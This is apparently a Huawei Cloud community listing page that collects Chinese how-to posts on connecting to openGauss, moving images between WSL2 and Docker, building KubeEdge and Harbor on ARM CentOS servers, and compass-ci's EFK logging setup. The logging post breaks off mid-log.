Source——PostgreSQL,如图所示。(因为华为自研的 openGauss是基于 PostgreSQL的,所以选择该数据源连接)③打开创建数据源界面后,填写基本信息联入数据库中,填写密码前可先点击左下角测试连接测试软件完整性。数据源名称自定义,主机处填写IP地址(192.168.43.*),端口处填写之前所设的外部端口号,用户处填写之前所设置的用户名称与密码登入。填写完毕后点击确定。④登入后刷新数据源,确保数据源与数据库连接成功,本实验到此结束五、参考资料①0-1-3 zjut在虚拟机+openEuler上安装部署openGauss数据库指导手册1.1.0②MacOS Docker 安装https://www.runoob.com/docker/macos-docker-install.html③centos7.6虚拟机上通过docker成功拉取open gauss镜像并且成功创建容器后,通过Datagrip连接容器http://t.csdn.cn/q4b26④Mac/Windows下使用docker安装华为GaussDB/opengauss数据库及JDBC的使用https://www.bilibili.com/video/BV1Ay4y1573h?spm_id_from=333.337.search-card.all.click
  • [知识分享] 手绘流程图,教你WSL2与Docker容器无缝互相迁移
    本文分享自华为云社区《[WSL2与Docker容器,无缝互相迁移](https://bbs.huaweicloud.com/blogs/336923?utm_source=csdn&utm_medium=bbs-ex&utm_campaign=other&utm_content=content)》,作者: tsjsdbd 。 注:本文提到的WSL都是指WSL2 # WSL与Docker WSL非常像windows版的Docker,可以直接启动“容器”(故意加引号,下面有解释),并且在容器世界里面,可以执行各种Linux操作。像下面这样,是不是和Docker很像? ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/18/1647585554674949844.png) ps:上面提到的“容器”,实际是安全容器(即:虚机),WSL2内部架构如下: ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/18/1647585564854828044.png) 虽WSL和Docker很像,但是它对WSL镜像有要求,就是得从 MS的应用商店下载: ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/18/1647585577906175553.png) 这个就稍显不那么方便,毕竟你可能已经有很多现成的Docker容器了,这里又得重新安装一遍。 我是Windows上有WSL,我的Linux开发机上有Docker,那我怎么在WSL里面跑Docker呢? # WSL运行Docker容器 常见的WSL里面运行Docker,是这样子的: ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/18/1647585604288434740.png) 就是把WSL当做一台新的开发机,然后在WSL里面,安装Docker软件。 这样子,也能解决问题。就是稍微麻烦了一点点。那能不能WSL直接运行Docker镜像呢? 答案是可以的: 参考:https://docs.microsoft.com/en-us/windows/wsl/use-custom-distro 这种方法下,是类似这个样子的: ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/18/1647585623047843147.png) 具体操作如下: 在Docker里面,将容器导出来 //查看正在运行的容器 docker ps //根据容器ID,导出镜像包 docker export $ContainerID > ./tsjsdbd.tar 然后再WSL里面,将Docker镜像导入: `wsl --import ` 示例 比如,我这里用Docker运行了一个busybox容器: `docker run -it busybox /bin/sh` 然后查询容器ID: docker ps CONTAINER ID IMAGE c1e9e8f77336 busybox 导出: `docker export c1e9e8f77336 > tsjsdbd_busybox.tar` 然后我把这个 镜像文件,拷贝到我的windows电脑上。 并在wsl里面导入: `wsl --import tsjsdbd_busybox ./busybox ./tsjsdbd_busybox.tar` 导入后查看: `wsl -l` 这时,我启动这个 busybox 镜像。 `wsl -d tsjsdbd_busybox` OK,这时我已经在WSL容器里面了,这是一个busybox的Docker容器镜像。 # Docker运行WSL镜像 从上面的操作可以看出来,WSL和Docker的镜像是相通的。所以WSL系统,也可以导出给Docker直接运行。类似这个样子: ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/18/1647585786413801008.png) 具体操作如下: 先查看下当前跑了哪些wsl容器: wsl -l -v NAME STATE VERSION * Ubuntu-18.04 Stopped 2 tsjsdbd_busybox Running 2 导出指定的wsl镜像 `wsl --export tsjsdbd_busybox ./mybox.tar` 其中 “tsjsdbd_busybox” 就是你希望导给Docker运行的WSL容器(里面可能安装了一些你需要的软件)。导出的tar包,就可以看做是WSL镜像了(可以直接导入给Docker) 最后,在Docker里面,导入这个镜像: `docker import - mybox mybox.tar` 可以查询此镜像 `docker images |grep mybox` 并启动 `docker run -it mybox /bin/sh` # WSL镜像与Docker镜像 大体上,我给个示意: ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/18/1647585837896401701.png) 所以WSL确实挺香的。 # WSL启动GUI界面 整体方案是利用 X11 Server,原理参考: 《Docker运行带UI界面的应用,并将它的界面投射到你的Windows电脑》 Docker运行带UI界面的应用,并将它的界面投射到你的Windows电脑-云社区-华为云 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/18/1647585857077652220.png) X11 Server,一般网上推荐 VcXsrv,我自己用下来,感觉 MobaXterm 更傻瓜一些。所以我都用 MobaXterm 的。 # 附:安装WSL # 1. 系统要求 Windows 10,版本 2004 以上。 比如我的是 20H2,是OK的。 点击:开始-设置-关于,查询自己的版本 # 2. 判断wsl2是否已有 打开 power shell,输入 `wsl -l -o` 如OK,则不用后续步骤了(说明你的windows版本已经比较高)。 不行,则手动执行后续步骤 # 3. 允许开发者模式 ![image.png](https://bbs-img.huaweicloud.com/data/forums/attachment/forum/20223/18/1647585931532148138.png) # 4. 启动WSL2功能 启用WSL2 `dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart` 启用虚拟机平台 `dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart` 启用Hyper-V `dism.exe /online /enable-feature /featurename:Microsoft-Hyper-V /all /norestart` 设置WSL2为默认 `wsl --set-default-version 2` # 5. 重启,安装wsl补丁 wsl_update_x64.msi 执行以上补丁包。 补丁包下载地址: https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi # 附:高阶版 GPU,GUI界面 Windows版本高的(win10 21H2),可以在WSL2里面跑CUDA https://docs.microsoft.com/en-us/windows/ai/directml/gpu-cuda-in-wsl 再高一点(win11),可以原生支持带GUI界面的Linux程序。 https://docs.microsoft.com/en-us/windows/wsl/tutorials/gui-apps
  • [技术干货] KubeEdge环境搭建指导书 - CentOS 7.6
    目录-1 软件介绍 -2 环境配置 -3 系统配置 -3.1 关闭防火墙(可选) -3.2 修改SELINUX为disabled -3.3 配置本地yum源(可选) -3.4 配置hosts -3.5 配置ntp时间同步 -3.6 关闭swap分区 -3.7 设置路由 -4 软件安装 -4.1 Docker-ce安装 -4.2 Kubernetes组件安装 -4.3 准备Kubernetes相关镜像 -4.4 搭建集群 -4.5 配置cni网络插件 -4.6 配置flannel网络插件 -4.7 Golang环境搭建 -4.8 Mosquitto环境搭建 -5 软件运行 -5.1 云端KubeEdge源码编译 -5.2 边缘端KubeEdge源码编译 -5.3 部署 -6 功能验证 -6.1 运行nginx示例 -7 FAQ1 软件介绍KubeEdge 是一个开源的系统,可将本机容器化应用编排和管理扩展到边缘端设备。 它基于Kubernetes构建,为网络和应用程序提供核心基础架构支持,并在云端和边缘端部署应用,同步元数据。KubeEdge 还支持 MQTT 协议,允许开发人员编写客户逻辑,并在边缘端启用设备通信的资源约束。KubeEdge 包含云端和边缘端两部分。Master 云上部分CloudHub: CloudHub 是一个 Web Socket 服务端,负责监听云端的变化, 缓存并发送消息到 EdgeHub。EdgeController: EdgeController 是一个扩展的 Kubernetes 控制器,管理边缘节点和 Pods 的元数据确保数据能够传递到指定的边缘节点。DeviceController: DeviceController 是一个扩展的 Kubernetes 控制器,管理边缘设备,确保设备信息、设备状态的云边同步。边缘部分EdgeHub: EdgeHub 是一个 Web Socket 客户端,负责与边缘计算的云服务(例如 KubeEdge 架构图中的 Edge Controller)交互,包括同步云端资源更新、报告边缘主机和设备状态变化到云端等功能。Edged: Edged 是运行在边缘节点的代理,用于管理容器化的应用程序。EventBus: EventBus 是一个与 MQTT 服务器(mosquitto)交互的 MQTT 客户端,为其他组件提供订阅和发布功能。ServiceBus: ServiceBus是一个运行在边缘的HTTP客户端,接受来自云上服务的请求,与运行在边缘端的HTTP服务器交互,提供了云上服务通过HTTP协议访问边缘端HTTP服务器的能力。DeviceTwin: DeviceTwin 负责存储设备状态并将设备状态同步到云,它还为应用程序提供查询接口。MetaManager: MetaManager 是消息处理器,位于 Edged 和 Edgehub 之间,它负责向轻量级数据库(SQLite)存储/检索元数据2 环境配置角色配置主机名业务网络备注node-1172.168.50.20云端,master节点node-2172.168.50.22边缘段,edge节点 硬件平台服务器TaiShan 200 2280处理器2*KunPeng 920 4826内存16*32G 2666MHz系统盘1 * 1.2T SATA HDD数据盘1 * 960G SSD网络1 * GE(板载)  1 * 10GE(1822)  软件平台软件名称版本号安装方法备注CentOS7.6https://support.huawei.com/enterprise/zh/doc/EDOC1100088654/3e971c8d本文档安装过程选择的环境为“Server with GUI”,并附加了“Development Tools”。ntp4.6.2p5-29见3.5章节 Docker-ce19.03.7见4.1章节 kubernetes1.15.1见4.2章节 golang1.13.5见4.7章节 mosquitto1.5.8见4.8章节 3 系统配置3.1 关闭防火墙(可选)# 步骤 1 停止防火墙。 systemctl stop firewalld.service # 步骤 2 关闭防火墙。 systemctl disable firewalld.service3.2 修改SELINUX为disabled# 步骤 1 关闭防火墙。 sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/sysconfig/selinux3.3 配置本地yum源(可选)若环境有外网条件,可不用配置本地源,直接用系统配置好的网上源或者自己添加网上源即可。步骤 1 配置源文件mv /etc/yum.repos.d/ /etc/yum.repos.d-bak mkdir /etc/yum.repos.d echo -e "[local]\nname=local\nbaseurl=file:///mnt\ngpgcheck=0\nenabled=1" > /etc/yum.repos.d/local.repo步骤 2 执行cat确认上一步操作写入成功,显示如下图cat /etc/yum.repos.d/local.repo步骤 3 挂载源镜像,将系统镜像通过KVM挂载mount /dev/cdrom /mnt3.4 配置hosts根据集群信息,配置所有节点的hosts。#步骤 1 配置hosts vi /etc/hosts 172.168.50.20 node-1 172.168.50.22 node-23.5 配置ntp时间同步# 步骤 1 安装ntp软件 yum install –y ntp ntpdate # 步骤 2 以node-1作为ntp服务器,其他节点自动与它同步,配置后conf内容如下: [root@ods1 ~]# cat /etc/ntp.conf restrict 127.0.0.1 restrict ::1 restrict 172.170.75.13 mask 255.255.255.0 server 127.127.1.0 fudge 127.127.1.0 stratum 8 # 步骤 3 其他的节点,配置conf如下 cat /etc/ntp.conf Server 172.168.50.20 # 步骤 4 启动ntpd自动同步服务,所有节点执行以下命令。 systemctl start ntpd systemctl enable ntpd # 步骤 5 配置完可先手动同步一次,node-2执行以下命令。 ntpdate 172.168.50.20 # 步骤 6 配置SSH无密钥登录,node-1执行。 ssh-keygen -t rsa ssh-copy-id node-2 # 步骤 7 配置SSH无密钥登录,node-2执行。 ssh-keygen -t rsa ssh-copy-id node-13.6 关闭swap分区所有节点均需执行以下步骤步骤 1 关闭swap分区,并备份/etc/fstabswapoff -a cp -p /etc/fstab /etc/fstab.bak$(date '+%Y%m%d%H%M%S')步骤 2 修改/etc/fstab,将swap分区的一行注释vi /etc/fstab注释后如下图:3.7 设置路由# 步骤 1 所有节点执行以下命令 modprobe br_netfilter sysctl -w net.bridge.bridge-nf-call-iptables=1 echo "net.bridge.bridge-nf-call-iptables=1" > /etc/sysctl.d/k8s.conf 4 软件安装4.1 Docker-ce安装所有节点都需要安装Docker,这里安装的是19.03.7。# 步骤 1 安装Docker 所需的软件包。 yum install -y yum-utils # 步骤 2 设置docker yum源。 yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo # 步骤 3 查看可安装的版本 # yum源有时候会更新,请根据实际情况选择具体的版本安装 yum list docker-ce --showduplicates | sort -r# 步骤 4 安装Docker-ce。 # 安装指定版本的方法是:软件名称-版本.软件后缀,如下: yum install docker-ce-3:19.03.7-3.el7.aarch64 # 步骤 5 启动Docker。 systemctl start docker # 步骤 6 Docker自启动 systemctl enable docker4.2 Kubernetes组件安装node-1节点安装相关组件,这里以kubeadm-1.15.1-0 kubelet-1.15.1-0 kubectl-1.15.1-0为例。# 步骤 1 配置Kubernetes源。 vi /etc/yum.repos.d/kubernetes.repo [kubernetes] name=Kubernetes Repo baseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-aarch64/ gpgcheck=0 gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg enabled=1 # 步骤 2 组件安装。 yum install -y kubeadm-1.15.1-0 kubelet-1.15.1-0 kubectl-1.15.1-0 --disableexcludes=kubernetes # 步骤 3 使能Kubelet服务。 systemctl enable kubelet4.3 准备Kubernetes相关镜像node-1节点拉取kube-proxy、kube-scheduler、kube-controller-manager、kube-apiserver、etcd、coredns和pause镜像。步骤 1 下载Arm64镜像。docker pull docker.io/mirrorgooglecontainers/kube-apiserver-arm64:v1.15.1 docker pull docker.io/mirrorgooglecontainers/kube-controller-manager-arm64:v1.15.1 docker pull docker.io/mirrorgooglecontainers/kube-scheduler-arm64:v1.15.1 docker pull docker.io/mirrorgooglecontainers/kube-proxy-arm64:v1.15.1 docker pull docker.io/mirrorgooglecontainers/pause-arm64:3.1 docker pull docker.io/mirrorgooglecontainers/etcd-arm64:3.3.10 docker pull docker.io/coredns/coredns:1.3.1步骤 2 修改已下载的镜像标签。docker tag docker.io/mirrorgooglecontainers/kube-apiserver-arm64:v1.15.1 k8s.gcr.io/kube-apiserver:v1.15.1 docker tag docker.io/mirrorgooglecontainers/kube-controller-manager-arm64:v1.15.1 k8s.gcr.io/kube-controller-manager:v1.15.1 docker tag docker.io/mirrorgooglecontainers/kube-scheduler-arm64:v1.15.1 k8s.gcr.io/kube-scheduler:v1.15.1 docker tag docker.io/mirrorgooglecontainers/kube-proxy-arm64:v1.15.1 k8s.gcr.io/kube-proxy:v1.15.1 docker tag docker.io/mirrorgooglecontainers/pause-arm64:3.1 k8s.gcr.io/pause:3.1 docker tag docker.io/mirrorgooglecontainers/etcd-arm64:3.3.10 k8s.gcr.io/etcd:3.3.10 docker tag docker.io/coredns/coredns:1.3.1 k8s.gcr.io/coredns:1.3.1步骤 3 检查镜像。docker images4.4 搭建集群步骤 1 主节点初始化集群使用flannel网络,必须指定CIDR。记录work加入命令。[root@ods1 ~]# kubeadm init --pod-network-cidr=10.244.0.0/16 --kubernetes-version=1.15.1步骤 2 node-1节点配置kubectlnode-1节点使用kubectl管理集群mkdir -p $HOME/.kube cp -i /etc/kubernetes/admin.conf $HOME/.kube/config chown $(id -u):$(id -g) $HOME/.kube/config步骤 3 node-1节点查看集群状态kubectl get nodes4.5 配置cni网络插件在集群所有节点上都需要配置。步骤 1 配置10-mynet.conf。mkdir -p /etc/cni/net.d cat >/etc/cni/net.d/10-mynet.conf <<EOF { "cniVersion": "0.3.0", "name": "mynet", "type": "bridge", "bridge": "cni0", "isGateway": true, "ipMasq": true, "ipam": { "type": "host-local", "subnet": "10.244.0.0/16", "routes": [ {"dst": "0.0.0.0/0"} ] } } EOF步骤 2 配置99-loopback.conf。cat >/etc/cni/net.d/99-loopback.conf <<EOF { "cniVersion": "0.3.0", "type": "loopback" } EOF4.6 配置flannel网络插件在集群所有节点上都需要配置。步骤 1 下载flannel yaml文件。下载https://github.com/coreos/flannel/blob/v0.10.0/Documentation/kube-flannel.yml 中的kube-flannel.yml文件,之后修改文件中的amd64修改为arm64步骤 2 在master节点上,安装flannel插件。[root@ods1 ~]# kubectl apply -f kube-flannel.yml步骤 3 node-1节点查看状态,并修改label。kubectl get nodekubectl get pods -o wide –-all-namespaces4.7 Golang环境搭建所有节点都需要安装Golang,这里安装的是1.13.5。# 步骤 1 下载golang,并解压。 wget https://studygolang.com/dl/golang/go1.13.5.linux-arm64.tar.gz tar -C /usr/local -xzf go1.13.5.linux-arm64.tar.gz # 步骤 2 添加环境变量。 # 在~/.bashrc文件末尾添加: vim ~/.bashrc export GOPATH=/home/kkbill/kubeedge export PATH=$PATH:/usr/local/go/bin # 保存后记得执行 source ~/.bashrc 生效。验证: go version go version go1.13.5 linux/arm644.8 Mosquitto环境搭建node-2节点都需要安装Mosquitto,这里安装的是1.5.8。# 步骤 1 添加EPEL软件库。 yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm # 步骤 2 添加EPEL软件库。 yum install mosquitto 5 软件运行5.1 云端KubeEdge源码编译node-1为云端,这里安装的KubeEdge版本是1.14.0。# 步骤 1 克隆仓库。 git clone https://github.com/kubeedge/kubeedge.git $GOPATH/src/github.com/kubeedge/kubeedge # 步骤 2 编译云端。 cd $GOPATH/src/github.com/kubeedge/kubeedge/ make all WHAT=cloudcore # 生成的二进制位于$GOPATH/src/github.com/kubeedge/kubeedge/_output/local/bin/目录下。 # 步骤 3 编创建设备模块和设备CRD yaml 文件。 cd $GOPATH/src/github.com/kubeedge/kubeedge/build/crds/devices kubectl create -f devices_v1alpha1_devicemodel.yaml kubectl create -f devices_v1alpha1_device.yaml cd $GOPATH/src/github.com/kubeedge/kubeedge/build/crds/reliablesyncs kubectl create -f cluster_objectsync_v1alpha1.yaml kubectl create -f objectsync_v1alpha1.yaml # 步骤 4 配置云端节点。 cd $GOPATH/src/github.com/kubeedge/kubeedge/_output/local/bin mkdir -p /etc/kubeedge/config/ ./cloudcore --minconfig > /etc/kubeedge/config/cloudcore.yaml5.2 边缘端KubeEdge源码编译node-2为边缘端,这里安装的KubeEdge版本是1.14.0。# 步骤 1 克隆仓库。 git clone https://github.com/kubeedge/kubeedge.git $GOPATH/src/github.com/kubeedge/kubeedge # 步骤 2 编译云端。 cd $GOPATH/src/github.com/kubeedge/kubeedge/ make all WHAT=edgecore # 生成的二进制位于$GOPATH/src/github.com/kubeedge/kubeedge/_output/local/bin/目录下。 # 步骤 3 生成边缘端配置文件并修改。 cd $GOPATH/src/github.com/kubeedge/kubeedge/_output/local/bin mkdir -p /etc/kubeedge/config/ ./edgecore --minconfig > /etc/kubeedge/config/ edgecore.yaml5.3 部署步骤 1 node-1查看kubernetes集群状态。此刻只有云端节点node-1就绪步骤 2 node-1节点运行云端核心。cd $GOPATH/src/github.com/kubeedge/kubeedge/_output/local/bin ./cloudcore步骤 3 node-1获取token。获取token解码:xxx为tokendata内容echo xxx | base64 -d步骤 4 node-2配置node-1节点解码后token内容。将步骤3中node-1节点中解码出来的token配置到node-2节点中的edgecore.yaml文件中module.edgehub.token属性步骤 5 node-2节点运行边缘端核心。cd $GOPATH/src/github.com/kubeedge/kubeedge/_output/local/bin ./edgecore 6 功能验证6.1 运行nginx示例步骤 1 在node-1节点查看状态。云端和边缘端均为ready步骤 2 部署官方deployment。步骤 3 扩容测试。kubectl scale deployment nginx-deployment --replicas=4预期效果:有4个pod出现,但只有1个正常运行,因为该 deployment 导出了节点端口,前面的 pod 已经占用,无法再分配。理论上,如果有4个节点,则会自动将 deployment 调度到4个节点上步骤 4 删除。kubectl delete -f $GOPATH/src/github.com/kubeedge/kubeedge/build/deployment.yaml7 FAQ系统重启后,节点kubernetes未自动启动,手动systemctl start kubelet也没有启动成功执行下面的语句查看kubelet启动日志。journalctl –u kubelet之后输入大写的’G’跳转到文件末尾,查看启动日志,之后根据报错信息处理。     2.“failed to run Kubelet: Running with swap on is not supported”。启动kubernetes节点必须关闭swap分区,具体操作见3.6章    3.Kubeedge编译时无法下载依赖包。解决方案:添加Go代理go env –w GOPROXY=https://goproxy.cn,direct 
  • [技术干货] Harbor1.10.2环境搭建指导书 – CentOS 7.6(基于TaiShan 服务器)
    目  录- 1 软件介绍 - 2 环境配置 - 3 系统配置 - 3.1 关闭防火墙(可选) - 3.2 修改SELINUX为disabled(可选) - 3.3 配置本地yum源(可选) - 4 软件编译 - 4.1 Docker-ce安装 - 4.2 Docker-compose安装 - 4.3 Harbor安装 - 4.4 制作harbor-core-base镜像(可选) - 5 软件运行 - 5.1 启动Harbor - 6 FAQ - 7 其他                        1 软件介绍Harbor是构建企业级私有docker镜像的仓库的开源解决方案,是Docker Registry的更高级封装。除了提供友好的Web UI界面,角色和用户权限管理,用户操作审计等功能外,还整合了K8s的插件(Add-ons)仓库,即Helm通过chart方式下载,管理,安装K8s插件,而chartmuseum可以提供存储chart数据的仓库。2 环境配置 硬件平台服务器TaiShan 200 2280处理器         2*KunPeng 920 4826内存16*32G 2666MHz系统盘1 * 1.2T SATA HDD数据盘1 * 960G SSD网络1 * GE(板载)  软件平台软件名称版本号安装方法备注CentOS7.6https://support.huawei.com/enterprise/zh/doc/EDOC1100088654/3e971c8d本文档安装过程选择的环境为“Server with GUI”,并附加了“Development Tools”。Docker-ce19.03.8见4.1章节支持版本最低为17.06.0-ceDocker-compose1.18.0见4.2章节支持版本最低为1.18.03 系统配置3.1 关闭防火墙(可选)# 步骤 1 停止防火墙。 systemctl stop firewalld.service # 步骤 2 关闭防火墙。 systemctl disable firewalld.service3.2 修改SELINUX为disabled(可选)# 步骤 1 关闭防火墙。 sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/sysconfig/selinux3.3 配置本地yum源(可选)若环境有外网条件,可不用配置本地源,直接用系统配置好的网上源或者自己添加网上源即可。# 步骤 1 配置源文件 mv /etc/yum.repos.d/ /etc/yum.repos.d-bak mkdir /etc/yum.repos.d echo -e "[local]\nname=local\nbaseurl=file:///mnt\ngpgcheck=0\nenabled=1" > /etc/yum.repos.d/local.repo # 步骤 2 执行cat确认上一步操作写入成功,显示如下图 cat /etc/yum.repos.d/local.repo # 步骤 3 挂载源镜像,将系统镜像通过KVM挂载 mount /dev/cdrom /mnt4 软件编译4.1 Docker-ce安装所有节点都需要安装Docker,这里安装的是19.03.8。# 步骤 1 安装Docker 所需的软件包。 yum install -y yum-utils # 步骤 2 设置docker yum源。 yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo # 步骤 3 查看可安装的版本 # yum源有时候会更新,请根据实际情况选择具体的版本安装 yum list docker-ce --showduplicates | sort -r # 步骤 4 安装Docker-ce。 # 安装指定版本的方法是:软件名称-版本.软件后缀,如下: yum install docker-ce-3:19.03.8-3.el7.aarch64 # 步骤 5 启动Docker。 systemctl start docker # 步骤 6 Docker自启动 systemctl enable docker4.2 Docker-compose安装# 步骤 1 安装EPEL源。 yum install –y epel-release # 步骤 2 安装docker-compose。 yum install –y docker-compose -enablerepo=epel4.3 Harbor安装# 步骤 1 Harbor源码下载解压。 wget https://github.com/goharbor/harbor/archive/v1.10.2.tar.gz tar –zxvf v1.10.2.tar.gz cd harbor-1.10.2 # 步骤 2 编辑Makefile文件,启动编译组件功能。 vi Makefile ... 82 BUILDBIN=true ... 99 REGISTRYVERSION=v2.7.1# 步骤 3 编辑yml文件。 # 修改hostname和https配置,本文档屏蔽了https的使用,如需使用https,请生成证书并配置到对应路径下。 vi make/harbor.yml# 步骤 4 编辑文件,将X86的源镜像修改为arm64的镜像。 # 本步骤涉及的base镜像均对应1.10.2版本,如编译其他大于1.10版本的harbor,可在dockerhub搜索是否有对应版本Arm64的镜像(base镜像不同版本差异较小),也可根据4.4章节的步骤,使用官方提供的Dockerfile.base自行打包。 find ./ -type f|grep "Dockerfile$"|grep -v "\.D"|xargs sed -i "s#photon:2.0#photon:3.0#g" sed -i "s/goharbor/liar/g" ./make/photon/log/Dockerfile find ./make/photon -type f|grep "Dockerfile$"|grep -v "\.D"|xargs sed -i "s/goharbor/glongzh/g" # 步骤 5 拉取golang 1.12.12官网镜像。 docker pull golang:1.12.12 # 步骤 6 编译、安装和启动harbor服务。 make install GOBUILDIMAGE=golang:1.12.12 VERSIONTAG=v1.10.2 PKGVERSIONTAG=v1.10.2 UIVERSIONTAG=v1.10.2 BASEIMAGETAG=v1.10.2 # 步骤 7 编译离线安装包(可选)。 make package_offline GOBUILDIMAGE=golang:1.12.12 VERSIONTAG=v1.10.2 PKGVERSIONTAG=v1.10.2 UIVERSIONTAG=v1.10.2 BASEIMAGETAG=v1.10.2 # 步骤 8 启动harbor,执行如下步骤(可选)。 tar -xvf harbor offline installer xxx.tgz && cd harbor sh install.sh4.4 制作harbor-core-base镜像(可选)Harbor 1.10后将各个组件镜像打包分成两步,先官方会先打包一个预编译好的base镜像,实际打包过程拉取base镜像,然后配置环境就可以了。官方的base镜像是X86平台下的,迁移到Arm64平台需要重新打包。除了redis外,大部分组件base镜像的迁移方式相同,本章节以core为例,如需要打包redis.base,请参考https://github.com/docker-library/redis。# 步骤 1 复制Dockerfile。 cd make/photon/core mkdir base cp Dockerfile.base base/Dockerfile cd base # 步骤 2 修改Dockerfile。 # 将photon:2.0修改为photon:3.0,是因为photon 3.0才开始支持aarch64。 sed -i "s/2.0/3.0/g" Dockerfile # 步骤 3 打包镜像。 # 镜像前缀和版本请自行填写,本例为xxxx和1.10.2,但是注意4.3章节替换时需对应上 docker build -t xxxx/harbor-core-base:1.10.2 .# 步骤 4 查看生成的镜像。 docker images |grep xxxx5 软件运行5.1 启动Harbor# 步骤 1 查看各个模块运行状态 docker-compose ps# 步骤 2 浏览器访问 6 FAQRedis 状态为down,查看日志报错“Unsupported system page size”redis在新版本中默认使用了jemalloc进行内存管理,由于jemalloc 在编译时就决定了page size的大小,而这个page size 会由于kernel的配置而改变,因此jemalloc在某个机器上编译,然后运行在其它机器上时可能会出现问题。这里出现这个报错的原因是docker镜像打包的环境pagesize为4k,而CentOS 7.6 for arm默认为64k解决方法:参照4.3章节修改redis源镜像信息 7 其他参考文档:        http://ic-openlabs.huawei.com/openlab/#/knowledgebasequery?task_id=R1S1584D00303813520191125094129756587245         
  • [openEuler] compass-ci日志系统
    # compass-ci日志系统 ## EFK日志系统 - compass-ci对日志系统的诉求 - 能够收集多种类型的日志,compass-ci集群有docker容器的日志、执行机的串口日志(日志文件)需要收集; - 能够快速聚合分散的日志进行集中管理,compass-ci集群的日志分散在多个地方:部署服务的服务器、执行任务的物理机、IBMC管理机 - 可视化的平台,方便对日志进行分析及展示 - 高效,集群会产生大量日志,需要系统能快速处理,不产生堆积 - 开源组件 结合以上诉求,compass-ci最终选择了EFK系统 - 在compass-ci中的使用 ``` docker/serial日志(生产) -> sub-fluentd(收集) -> master-fluentd(聚合) -> es(存储) -> kibana(展示) | monitoring - rabbitmq -> serial-logging -> job's result/dmesg file ``` ## 日志生产 ### docker服务日志 - 配置 启动sub-fluentd之后,docker需要做相应的配置将日志转发到sub-fluentd 默认情况下,Docker使用json-file日志驱动程序,该驱动程序在内部缓存容器日志为JSON(docker logs日志来源) - 全局配置 /etc/docker/daemon.json 需要重启docker服务全局配置才会生效 ``` { # 日志转发到fluentd "log-driver": "fluentd", "log-opts":{ # fluentd服务地址 "fluentd-address": "localhost:24225", # fluentd-docker异步设置,避免fluentd失去连接之后导致Docker容器异常 "fluentd-async-connect": "true", # 配置转发到fluentd日志的标签为容器名,用于区分不同容器的日志 "tag": "{{.Name}}" } } ``` - 单个docker容器配置 全局配置后所有的docker日志都会被转发到sub-fluentd,若未做全局配置,只想特定容器进行转发,可以使用以下配置 docker run --log-driver=fluentd --log-opt fluentd-address=fluentdhost:24225 --log-opt tag=xxx 有些日志信息比较敏感,不想转发到fluentd,可以单独配置为默认的json-file模式 docker run --log-driver=json-file - 日志流程 ``` docker -> sub-fluentd -> master-fluentd -> rabbitmq -> monitoring `----> es -> kibana ``` - es 存储到es是为了后续在kibana上搜索展示分析 - rabbitmq 存储到rabbitmq中间件,为monitoring服务提供数据 - monitoring服务 submit -m的服务端,近实时的返回job执行过程中与服务端交互产生的日志 - 日志内容 compass-ci的服务都是用docker的方式部署 - 非自主开发的服务,如es: ``` wuzhende@crystal ~% docker logs -f sub-fluentd | grep es-server01 2022-01-17 05:13:42.000000000 +0800 es-server01: {"type": "server", "timestamp": "2022-01-16T21:13:42,579Z", "level": "WARN", "component": "o.e.m.j.JvmGcMonitorService", "cluster.name": "docker-cluster", "node.name": "node-1", "message": "[gc][young][152465][89] duration [1s], collections [1]/[1.1s], total [1s]/[5.8s], memory [19.4gb]->[1.9gb]/[30gb], all_pools {[young] [17.5gb]->[0b]/[0b]}{[old] [1.4gb]->[1.5gb]/[30gb]}{[survivor] [367.5mb]->[389.8mb]/[0b]}", "cluster.uuid": "FJFweh9LQ6mKes6uwHQL_g", "node.id": "keFEKD-WTBe0tHF4fbS4MA" } 2022-01-17 05:13:42.000000000 +0800 es-server01: {"type": "server", "timestamp": "2022-01-16T21:13:42,579Z", "level": "WARN", "component": "o.e.m.j.JvmGcMonitorService", "cluster.name": "docker-cluster", "node.name": "node-1", "message": "[gc][152465] overhead, spent [1s] collecting in the last [1.1s]", "cluster.uuid": "FJFweh9LQ6mKes6uwHQL_g", "node.id": "keFEKD-WTBe0tHF4fbS4MA" } 2022-01-17 05:23:21.000000000 +0800 es-server01: {"type": "server", "timestamp": "2022-01-16T21:23:21,413Z", "level": "WARN", "component": "o.e.m.f.FsHealthService", "cluster.name": "docker-cluster", "node.name": "node-1", "message": "health check of [/srv/es/nodes/0] took [6002ms] which is above the warn threshold of [5s]", "cluster.uuid": "FJFweh9LQ6mKes6uwHQL_g", "node.id": "keFEKD-WTBe0tHF4fbS4MA" } ``` - 自主开发的服务,如调度器: ``` wuzhende@crystal ~% docker logs -f sub-fluentd | grep scheduler-3000 2022-01-17 05:39:59.000000000 +0800 scheduler-3000: {"level_num":2,"level":"INFO","time":"2022-01-17T05:39:59.902+0800","from":"172.17.0.1:52468","message":"access_record","status_code":200,"method":"GET","resource":"/boot.ipxe/mac/44-67-47-e9-79-c0","testbox":"sched-crystal-44-67-47-e9-79-c0","api":"boot","elapsed_time":1801792.188619,"elapsed":"1801792.19ms"} 2022-01-17 05:40:10.000000000 +0800 scheduler-3000: {"level_num":2,"level":"INFO","time":"2022-01-17T05:40:10.925+0800","from":"172.17.0.1:37110","message":"access_record","status_code":200,"method":"GET","resource":"/boot.ipxe/mac/84-46-fe-73-b2-39","testbox":"taishan200-2280-2s64p-256g--a1004","api":"boot","elapsed_time":1804795.552323,"elapsed":"1804795.55ms"} 2022-01-17 